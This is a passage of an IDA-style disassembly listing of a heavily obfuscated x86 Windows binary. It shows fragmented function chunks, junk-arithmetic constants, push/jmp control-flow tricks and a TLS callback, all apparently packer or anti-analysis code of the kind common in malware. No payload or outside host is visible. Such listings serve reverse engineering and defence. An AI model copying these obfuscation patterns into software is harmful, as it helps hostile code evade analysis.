mov [ecx], ebp
; =============== S U B R O U T I N E =======================================
sub_426B65 proc near ; CODE XREF: sub_4284C0:loc_4211CEp
; FUNCTION CHUNK AT 00424BC3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00429D42 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A22E SIZE 00000005 BYTES
mov [esp+0], ebx
pop ebx
or eax, eax
jnz loc_424BC3
call sub_42574E
mov edx, 0B9726E5Ah
push offset loc_42652A
jmp loc_429D42
sub_426B65 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426B85 proc near ; DATA XREF: sub_42AB30-63C5o
push eax
retn
sub_426B85 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426B87 proc near ; CODE XREF: sub_422866+5p
; sub_424775+5p
push ebp
mov ebp, esp
push ecx
mov esp, ebp
push offset loc_423B36
jmp sub_42BED6
sub_426B87 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421CAA
loc_426B97: ; CODE XREF: sub_421CAA:loc_421CB6j
jnz loc_4280CE
jmp loc_42325F
; END OF FUNCTION CHUNK FOR sub_421CAA
; =============== S U B R O U T I N E =======================================
sub_426BA2 proc near ; CODE XREF: sub_42780Fj
; FUNCTION CHUNK AT 004293EB SIZE 00000005 BYTES
push ebp
push offset loc_429AD9
jmp loc_4293EB
sub_426BA2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422C48
loc_426BAD: ; CODE XREF: sub_422C48+1956j
add esi, 1FE2A9B7h
test ecx, 898445FEh
jmp loc_42C1DD
; END OF FUNCTION CHUNK FOR sub_422C48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_426BBE: ; CODE XREF: sub_42C0BC-10E2j
cmp ebx, 42423AD5h
jmp loc_428E26
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425934
loc_426BC9: ; CODE XREF: sub_425934:loc_429F5Ej
jl loc_421BE1
; END OF FUNCTION CHUNK FOR sub_425934
; START OF FUNCTION CHUNK FOR sub_4273AE
loc_426BCF: ; CODE XREF: sub_4273AE+10j
jmp loc_427FB6
; END OF FUNCTION CHUNK FOR sub_4273AE
; ---------------------------------------------------------------------------
xchg ebp, ecx
adc eax, 0FC6AE874h
jmp loc_421BE1
; ---------------------------------------------------------------------------
popf
xchg ecx, [ebx]
jmp sub_421822
; ---------------------------------------------------------------------------
loc_426BE9: ; DATA XREF: sub_4237DC+2056o
mov eax, [ebp-8]
shr eax, 0Bh
xor [ebp-8], eax
jmp loc_424C80
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421047
loc_426BF7: ; CODE XREF: sub_421047:loc_427E88j
mov eax, [ebp-0Ch]
jmp loc_423924
; END OF FUNCTION CHUNK FOR sub_421047
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_426BFF: ; CODE XREF: sub_42C0BC:loc_422E19j
mov eax, [ebp-10h]
jmp loc_4249AF
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42972F
loc_426C07: ; CODE XREF: sub_42972F+1EEj
or [ecx+edx], al
mov eax, [ebp-0Ch]
push eax
push edi
jmp loc_42204E
; END OF FUNCTION CHUNK FOR sub_42972F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425819
loc_426C14: ; CODE XREF: sub_425819:loc_42405Cj
shr eax, 8
jnz loc_422318
xor eax, ecx
add ecx, eax
push ecx
push 0B5C339FEh
pop ecx
jmp loc_42B8DE
; END OF FUNCTION CHUNK FOR sub_425819
; ---------------------------------------------------------------------------
loc_426C2D: ; CODE XREF: _94j21ax3:0042C3F0j
popf
; =============== S U B R O U T I N E =======================================
sub_426C2E proc near ; CODE XREF: sub_422898:loc_421F6Ap
mov [esp+0], esi
pop esi
push ecx
push offset sub_421A9F
jmp nullsub_147
sub_426C2E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422790
loc_426C3D: ; CODE XREF: sub_422790+5ED5j
add edx, 75832783h
mov [edx], al
pop edx
; END OF FUNCTION CHUNK FOR sub_422790
; START OF FUNCTION CHUNK FOR sub_42ADA2
loc_426C46: ; CODE XREF: sub_42C24F:loc_4214C7j
; sub_42C24F-7711j ...
jnb loc_425B8C
jmp loc_42963B
; END OF FUNCTION CHUNK FOR sub_42ADA2
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426C51 proc near ; CODE XREF: sub_42BA8Aj
push ebp
mov ebp, esp
call sub_422707
pushf
xor ebx, ecx
jmp sub_4210C7
sub_426C51 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428694
loc_426C61: ; CODE XREF: sub_428694+7j
push ecx
push 0B26A12E5h
pop ecx
add ecx, 4DD817A8h
push offset sub_42ABD9
jmp loc_427F9D
; END OF FUNCTION CHUNK FOR sub_428694
; ---------------------------------------------------------------------------
loc_426C78: ; CODE XREF: _94j21ax3:0042322Cj
add ebp, ebx
; =============== S U B R O U T I N E =======================================
sub_426C7A proc near ; CODE XREF: sub_423F55+74E0p
; FUNCTION CHUNK AT 00424113 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00426EE2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042C454 SIZE 00000012 BYTES
mov [esp+0], eax
pop eax
add eax, [ebp-4]
add eax, 5
loc_426C84: ; CODE XREF: sub_423324+1927j
cmp eax, ds:dword_425BD0
jz loc_42C454
loc_426C90: ; CODE XREF: sub_423F55-1D7Fj
; sub_423F55+D11j
jnb loc_424113
jmp loc_426EE2
sub_426C7A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov esi, 0FEB331CFh
shr edi, 8
jmp sub_421047
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_426CA8: ; CODE XREF: sub_423324:loc_429F28j
add esi, 89768141h
mov [esi], eax
pop esi
push 0
loc_426CB3: ; CODE XREF: _94j21ax3:004216F2j
push 7F133CB8h
pop eax
add eax, 4F09C445h
jmp loc_42B920
; END OF FUNCTION CHUNK FOR sub_423324
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42ABD9
loc_426CC5: ; CODE XREF: sub_42ABD9+3j
jmp sub_4249A9
; END OF FUNCTION CHUNK FOR sub_42ABD9
; ---------------------------------------------------------------------------
loc_426CCA: ; CODE XREF: _94j21ax3:00424F3Fj
jmp loc_424218
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424C37
loc_426CCF: ; CODE XREF: sub_424C37-F54j
jmp loc_426856
; END OF FUNCTION CHUNK FOR sub_424C37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_426CD4: ; CODE XREF: sub_42C1AE-74A7j
sub eax, 0D97D9668h
or eax, 0EB1C75EDh
add eax, 0E18A04h
xor ebx, ebx
; END OF FUNCTION CHUNK FOR sub_42C1AE
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_426CE8: ; CODE XREF: sub_422EB0+2766j
xor edx, edx
push offset loc_42A665
jmp locret_4266F0
; END OF FUNCTION CHUNK FOR sub_422EB0
; =============== S U B R O U T I N E =======================================
sub_426CF4 proc near ; CODE XREF: sub_42540A+6p
; _94j21ax3:0042B549j
; FUNCTION CHUNK AT 0042BAAC SIZE 00000005 BYTES
mov [esp+0], esi
pop esi
push eax
mov eax, [ebp-4]
mov eax, [eax+3Ch]
cdq
jmp loc_42BAAC
sub_426CF4 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_426D06: ; CODE XREF: sub_4294B3+35Fj
jmp loc_424433
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4268C1
loc_426D0B: ; CODE XREF: sub_4268C1-1334j
jmp nullsub_40
; END OF FUNCTION CHUNK FOR sub_4268C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42878A
loc_426D10: ; CODE XREF: sub_42878A:loc_428C12j
; _94j21ax3:00428C25j
and esi, 0A61FF99Eh
push offset loc_42B19A
jmp loc_42B874
; END OF FUNCTION CHUNK FOR sub_42878A
; ---------------------------------------------------------------------------
xchg ebp, [eax]
cmp edi, 0A194695h
jmp loc_4216CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_426D2D: ; CODE XREF: sub_423324+3362j
rol ebp, 5
adc ebx, 7498743Fh
xor ecx, ebp
jmp loc_422016
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_426D3D: ; CODE XREF: sub_423614-624j
; sub_423324:loc_429088j ...
jnb loc_421580
test byte ptr [ebp-8], 2
jz loc_42B511
push ebp
mov eax, [ebp-20h]
call sub_429862
pop ecx
push offset sub_421578
jmp loc_42109B
; END OF FUNCTION CHUNK FOR sub_423614
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426D61 proc near ; CODE XREF: sub_421457+9080j
retn
sub_426D61 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AA5F
loc_426D62: ; CODE XREF: sub_42AA5F-6D87j
jmp loc_4285ED
; END OF FUNCTION CHUNK FOR sub_42AA5F
; ---------------------------------------------------------------------------
loc_426D67: ; CODE XREF: _94j21ax3:loc_424C93j
xor edx, 15A5D1EDh
test edx, 200h
jmp loc_429D7B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4228FF
loc_426D78: ; CODE XREF: sub_4228FF:loc_428CD5j
push 42FD2E32h
pop edi
sub edi, 1719E56h
add edi, 0BEB6970Dh
popf
xchg edi, [esp-4+arg_0]
jmp sub_425A09
; END OF FUNCTION CHUNK FOR sub_4228FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_426D93: ; CODE XREF: sub_42A0CC:loc_429176j
jnz loc_42356D
jmp loc_42B87E
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
loc_426D9E: ; CODE XREF: _94j21ax3:004218ADj
ja nullsub_193
; =============== S U B R O U T I N E =======================================
sub_426DA4 proc near ; CODE XREF: _94j21ax3:00424225p
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042349D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00423CE8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00424716 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042A73C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B33B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042B5FC SIZE 00000005 BYTES
mov [esp+0], edi
pop edi
add eax, ebp
add eax, 3A422D4h
jmp loc_423CE8
sub_426DA4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4249A9
loc_426DB5: ; CODE XREF: sub_4249A9:loc_428B92j
jnz loc_421BB6
jmp loc_4245D0
; END OF FUNCTION CHUNK FOR sub_4249A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_426DC0: ; CODE XREF: sub_4294B3-2C86j
jno loc_429A4B
sub eax, 57044F2Bh
push ebx
jmp loc_42214D
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424B54
loc_426DD2: ; CODE XREF: sub_424B54+17j
ror eax, 6
mov ds:dword_42409C, eax
retn
; END OF FUNCTION CHUNK FOR sub_424B54
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4210AA
loc_426DDC: ; CODE XREF: sub_4210AA+Dj
jmp sub_428993
; END OF FUNCTION CHUNK FOR sub_4210AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A8BB
loc_426DE1: ; CODE XREF: sub_42A8BB+7DFj
call sub_427021
loc_426DE6: ; DATA XREF: sub_42284F+EBEo
add eax, ebp
push offset loc_422997
jmp nullsub_180
; END OF FUNCTION CHUNK FOR sub_42A8BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_426DF2: ; CODE XREF: sub_4272E9:loc_422B06j
jno loc_427B16
jp sub_423F43
jmp loc_423846
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4221B8
loc_426E03: ; CODE XREF: sub_4221B8:loc_42BAB1j
push offset loc_423939
jmp loc_421375
; END OF FUNCTION CHUNK FOR sub_4221B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4210AA
loc_426E0D: ; CODE XREF: sub_4210AA+AEB5j
jnz loc_4288F9
jmp loc_429D3D
; END OF FUNCTION CHUNK FOR sub_4210AA
; ---------------------------------------------------------------------------
sbb edx, 86E66949h
jmp sub_426744
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4265C2
loc_426E23: ; CODE XREF: sub_4265C2+Cj
cmp eax, 0FECCAD31h
jmp loc_429DD7
; END OF FUNCTION CHUNK FOR sub_4265C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425330
loc_426E2E: ; CODE XREF: sub_425330:loc_422283j
test byte ptr [eax-8], 10h
jz loc_42A024
inc [ebp+var_8]
loc_426E3B: ; CODE XREF: sub_425330:loc_425223j
; sub_429848+Cj
mov eax, [ebp+var_8]
pop ecx
pop ecx
push offset loc_42A022
jmp nullsub_41
; END OF FUNCTION CHUNK FOR sub_425330
; ---------------------------------------------------------------------------
loc_426E4A: ; DATA XREF: sub_423B78+1266o
neg eax
cmp ax, 0A5B3h
jnz loc_423B81
retn
; ---------------------------------------------------------------------------
loc_426E57: ; CODE XREF: _94j21ax3:00426825j
jmp sub_42574E
; =============== S U B R O U T I N E =======================================
sub_426E5C proc near ; CODE XREF: sub_42C473:loc_42AE93p
; FUNCTION CHUNK AT 00423D8A SIZE 00000013 BYTES
mov eax, large fs:0
loc_426E63: ; CODE XREF: sub_423324+A55j
; sub_426E5C-30CAj
jno loc_423D8A
cmp dword ptr [eax], 0FFFFFFFFh
jmp loc_4233F6
sub_426E5C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_426E71: ; CODE XREF: sub_428BBD:loc_423212j
jnz loc_42A6C2
jmp loc_425A25
; END OF FUNCTION CHUNK FOR sub_428BBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422FDC
loc_426E7C: ; CODE XREF: sub_422FDC+7999j
jnz loc_423B68
mov eax, 6
sub eax, [ebp-0Ch]
call sub_4232B6
; END OF FUNCTION CHUNK FOR sub_422FDC
; START OF FUNCTION CHUNK FOR sub_42A4F4
loc_426E8F: ; CODE XREF: sub_42A4F4+13j
jmp loc_4297BF
; END OF FUNCTION CHUNK FOR sub_42A4F4
; ---------------------------------------------------------------------------
loc_426E94: ; CODE XREF: _94j21ax3:00426937j
jmp loc_42521A
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push eax
push edx
jmp loc_428CBF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424EFA
loc_426EA4: ; CODE XREF: sub_424EFA+4F6Aj
xchg ebx, [esp+0]
push 10h
push offset sub_421330
jmp loc_424748
; END OF FUNCTION CHUNK FOR sub_424EFA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_426EB3: ; CODE XREF: sub_42C057:loc_4299E0j
xchg edx, [esp+0]
push 0
push esi
push 893F8143h
pop esi
sub esi, 0EFC2A770h
jmp loc_421CDB
; END OF FUNCTION CHUNK FOR sub_42C057
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A7A6
loc_426ECA: ; CODE XREF: sub_42A7A6-EBj
jge loc_42B996
loc_426ED0: ; CODE XREF: sub_42ADA2:loc_42B9F9j
call sub_429BC2
test eax, eax
jz loc_424949
jmp loc_422F1E
; END OF FUNCTION CHUNK FOR sub_42A7A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426C7A
loc_426EE2: ; CODE XREF: sub_426C7A+1Cj
mov eax, [ebp-4]
call sub_42ABCE
mov [ebp-8], eax
push offset loc_4250B7
jmp nullsub_43
; END OF FUNCTION CHUNK FOR sub_426C7A
; ---------------------------------------------------------------------------
pushf
mov [esp], eax
; START OF FUNCTION CHUNK FOR sub_423F55
loc_426EFB: ; CODE XREF: sub_423F55:loc_426F87j
ror eax, 0Ah
mov ds:dword_429F84, eax
retn
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_426F05: ; CODE XREF: sub_423324+AD1j
jmp loc_4243B4
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422764
loc_426F0A: ; CODE XREF: sub_422764+1203j
jmp loc_429E69
; END OF FUNCTION CHUNK FOR sub_422764
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C03F
loc_426F0F: ; CODE XREF: sub_422AD5+8j
; sub_42C03F+Dj
rol eax, 0Ah
; END OF FUNCTION CHUNK FOR sub_42C03F
; START OF FUNCTION CHUNK FOR sub_42284F
loc_426F12: ; CODE XREF: sub_42284F:loc_42397Fj
push ecx
mov ecx, eax
jmp loc_4287D8
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428B5E
loc_426F1A: ; CODE XREF: sub_428B5E-5A39j
test edi, 0C8A0ADBFh
jmp loc_42422A
; END OF FUNCTION CHUNK FOR sub_428B5E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422141
loc_426F26: ; CODE XREF: sub_422141+3963j
jmp loc_42A885
; END OF FUNCTION CHUNK FOR sub_422141
; ---------------------------------------------------------------------------
db 17h
dword_426F2C dd 77EB36A5h ; DATA XREF: sub_42C057:loc_4240CFw
; sub_427773+Aw
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_426F30: ; CODE XREF: sub_42B9CF-71Ej
jmp loc_4281B8
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
pop esp
sbb dh, [eax+0] ; DATA XREF: sub_427D15+3o
; _94j21ax3:loc_42B3A0o ...
; START OF FUNCTION CHUNK FOR TlsCallback_0
loc_426F3C: ; CODE XREF: TlsCallback_0-7447j
jmp loc_42A1D6
; END OF FUNCTION CHUNK FOR TlsCallback_0
; ---------------------------------------------------------------------------
db 62h, 0C3h, 7
dword_426F44 dd 77E60000h ; DATA XREF: sub_427D15:loc_4276BFr
; sub_424EB4:loc_42A0AFw ...
dword_426F48 dd 0B97256B6h, 8CCCD8B2h, 0B18D8CB8h, 0C3544700h
; DATA XREF: _94j21ax3:loc_425248o
; sub_427D15-646o
byte_426F58 db 1 ; DATA XREF: sub_421656+3r
; sub_426F9E-4E24r ...
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42982D
loc_426F59: ; CODE XREF: sub_42982D+10B2j
jmp nullsub_185
; END OF FUNCTION CHUNK FOR sub_42982D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AA5F
loc_426F5E: ; CODE XREF: sub_42AA5F-6C8j
jmp loc_423CD2
; END OF FUNCTION CHUNK FOR sub_42AA5F
; ---------------------------------------------------------------------------
db 0F5h
dword_426F64 dd 6332E8E6h, 0D8645C6Ch ; DATA XREF: sub_426F9E:loc_425ADDo
; sub_421656:loc_426F8Co
; ---------------------------------------------------------------------------
sbb eax, [eax]
; START OF FUNCTION CHUNK FOR sub_429A83
loc_426F6E: ; CODE XREF: sub_429A83-1214j
jmp loc_423EEE
; END OF FUNCTION CHUNK FOR sub_429A83
; ---------------------------------------------------------------------------
db 0CEh
dword_426F74 dd 77F50000h ; DATA XREF: sub_421656+449Aw
; sub_421656:loc_428468r
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C24F
loc_426F78: ; CODE XREF: sub_42C24F-770Bj
jmp loc_4258A3
; END OF FUNCTION CHUNK FOR sub_42C24F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_426F7D: ; CODE XREF: sub_423F55+3EB2j
xor eax, eax
mov [ebp-0Ch], eax
call sub_421DC4
loc_426F87: ; CODE XREF: sub_42BB39-AAD1j
jmp loc_426EFB
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421656
loc_426F8C: ; CODE XREF: sub_421656:loc_42517Fj
mov eax, offset dword_426F64
call sub_428AE1
lea eax, [ebp-14h]
jmp loc_425AEA
; END OF FUNCTION CHUNK FOR sub_421656
; =============== S U B R O U T I N E =======================================
sub_426F9E proc near ; CODE XREF: sub_429BC2j
; FUNCTION CHUNK AT 00422175 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00424BBE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425ADD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00429F32 SIZE 00000005 BYTES
push ebp
jmp loc_429F32
sub_426F9E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
pop ebp
not esi
jmp sub_424B8F
; ---------------------------------------------------------------------------
loc_426FAC: ; DATA XREF: _94j21ax3:loc_427256o
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call eax
push edx
push 13C7CB89h
pop edx
xor edx, 6853C7Dh
jmp loc_421C8E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_426FC9: ; CODE XREF: sub_42B9CF-156Dj
test edx, edi
jmp loc_42BA45
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
loc_426FD0: ; CODE XREF: _94j21ax3:0042C268j
cmp ecx, 0F40B356Fh
jmp loc_4227C5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424DB4
loc_426FDC: ; CODE XREF: sub_424DB4+6j
jmp nullsub_44
; END OF FUNCTION CHUNK FOR sub_424DB4
; =============== S U B R O U T I N E =======================================
sub_426FE1 proc near ; DATA XREF: sub_4220FC+9o
; FUNCTION CHUNK AT 004224B5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425B9B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00429705 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042A3BD SIZE 0000000C BYTES
mov al, 1
shl al, cl
mov edx, [ebp-18h]
shr edx, 3
mov ecx, ds:dword_429F74
or [ecx+edx], al
jmp loc_4224B5
sub_426FE1 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
or ebx, 0EBEAF4BAh
jmp sub_42510A
; =============== S U B R O U T I N E =======================================
sub_427004 proc near ; CODE XREF: sub_426612:loc_42B43Aj
; FUNCTION CHUNK AT 004214F8 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00427D34 SIZE 00000018 BYTES
add esp, 0FFFFFFECh
cmp ds:dword_4256CC, 0
jnz loc_42905F
lea edx, [ebp-14h]
mov eax, (offset loc_4256D7+1)
jmp loc_4214F8
sub_427004 endp
; =============== S U B R O U T I N E =======================================
sub_427021 proc near ; CODE XREF: sub_428993:loc_4234B2j
; sub_42A8BB:loc_426DE1p
xchg edx, [esp+0]
pop edx
rol eax, 6
push eax
call sub_423F43
retn
sub_427021 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421F28
loc_42702F: ; CODE XREF: sub_421F28+Cj
jz loc_42790D
jmp loc_42BCAB
; END OF FUNCTION CHUNK FOR sub_421F28
; =============== S U B R O U T I N E =======================================
sub_42703A proc near ; DATA XREF: sub_4252BD+16o
mov [ecx+0B8h], eax
pop ecx
xor eax, eax
retn
sub_42703A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BA8A
loc_427044: ; CODE XREF: sub_42BA8A+7j
mov [esp+4+var_4], ebp
mov ebp, esp
push ecx
mov esp, ebp
pop ebp
loc_42704D: ; CODE XREF: _94j21ax3:loc_4284B0j
jmp loc_425A77
; END OF FUNCTION CHUNK FOR sub_42BA8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_427052: ; CODE XREF: sub_423324:loc_4233FBj
mov esi, eax
jle loc_42A5C8
jmp loc_42AA3E
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_42705F: ; CODE XREF: sub_423614:loc_42228Dj
add edx, ebp
add edx, 4CF06052h
mov edx, [edx]
popf
mov byte ptr [eax+edx], 0
inc dword ptr [ebp-4]
jmp loc_423465
; END OF FUNCTION CHUNK FOR sub_423614
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_427076: ; CODE XREF: sub_42B9CF:loc_42C4B1j
rol edx, 10h
add edx, 96EB29A8h
xchg edx, [esp+0]
; END OF FUNCTION CHUNK FOR sub_42B9CF
; START OF FUNCTION CHUNK FOR sub_42484C
loc_427082: ; CODE XREF: sub_42484C-120Ej
jmp sub_42AC17
; END OF FUNCTION CHUNK FOR sub_42484C
; =============== S U B R O U T I N E =======================================
sub_427087 proc near ; CODE XREF: sub_422973:loc_425210p
; _94j21ax3:0042C0FFj
arg_4 = dword ptr 8
mov [esp+0], ecx
pop ecx
pop ecx
mov ebp, offset nullsub_2
xchg ebp, [esp-8+arg_4]
locret_427094: ; CODE XREF: sub_421CAA:loc_4280C7j
retn
sub_427087 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425819
loc_427095: ; CODE XREF: sub_425819+60D4j
jmp loc_425A5A
; END OF FUNCTION CHUNK FOR sub_425819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A7A6
loc_42709A: ; CODE XREF: sub_42A7A6:loc_42843Ej
and ecx, 0AE7A8ADBh
add ecx, 0F617B31Fh
xchg ecx, [esp+0]
jmp loc_428509
; END OF FUNCTION CHUNK FOR sub_42A7A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_4270AE: ; CODE XREF: sub_42284F+87Cj
adc ebx, eax
loc_4270B0: ; CODE XREF: sub_42284F:loc_42236Aj
push 0E072C497h
pop eax
add eax, 8199EED6h
add eax, ebp
add eax, 9DF34A24h
cmp dword ptr [eax], 47424454h
jmp loc_4256A1
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42ABCE
loc_4270CF: ; CODE XREF: sub_42ABCE:loc_42C49Cj
push offset sub_4252DD
jmp nullsub_197
; END OF FUNCTION CHUNK FOR sub_42ABCE
; ---------------------------------------------------------------------------
loc_4270D9: ; DATA XREF: sub_42771C:loc_4231D7o
pop ebp
mov eax, ds:dword_42C230
call sub_421822
; START OF FUNCTION CHUNK FOR sub_42C5CD
loc_4270E5: ; CODE XREF: sub_42C5CD+Bj
jmp nullsub_200
; END OF FUNCTION CHUNK FOR sub_42C5CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BB39
loc_4270EA: ; CODE XREF: sub_42BB39+7j
jmp loc_4271FD
; END OF FUNCTION CHUNK FOR sub_42BB39
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_4270EF: ; CODE XREF: sub_42284F:loc_42A46Ej
jz loc_422A9C
jmp loc_429E74
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
pushf
jmp loc_42837B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421B3A
loc_427100: ; CODE XREF: sub_421B3A+23j
mov [ebp-0Ch], eax
; END OF FUNCTION CHUNK FOR sub_421B3A
; START OF FUNCTION CHUNK FOR sub_422048
loc_427103: ; CODE XREF: sub_422048+2E2j
; _94j21ax3:loc_424B71j ...
mov eax, [ebp-0Ch]
mov esp, ebp
pop ebp
jmp loc_42281D
; END OF FUNCTION CHUNK FOR sub_422048
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422973
loc_42710E: ; CODE XREF: sub_422973+3AC4j
push 0DD4550C6h
pop edx
jmp sub_42B65F
; END OF FUNCTION CHUNK FOR sub_422973
; ---------------------------------------------------------------------------
cmp eax, 0B73FA1CFh
jmp loc_422EFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_427124: ; CODE XREF: sub_42169F:loc_424A42j
add ecx, esi
sbb ecx, 2A779557h
jmp loc_427DAC
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
loc_427131: ; CODE XREF: _94j21ax3:004279ACj
mov ebp, esp
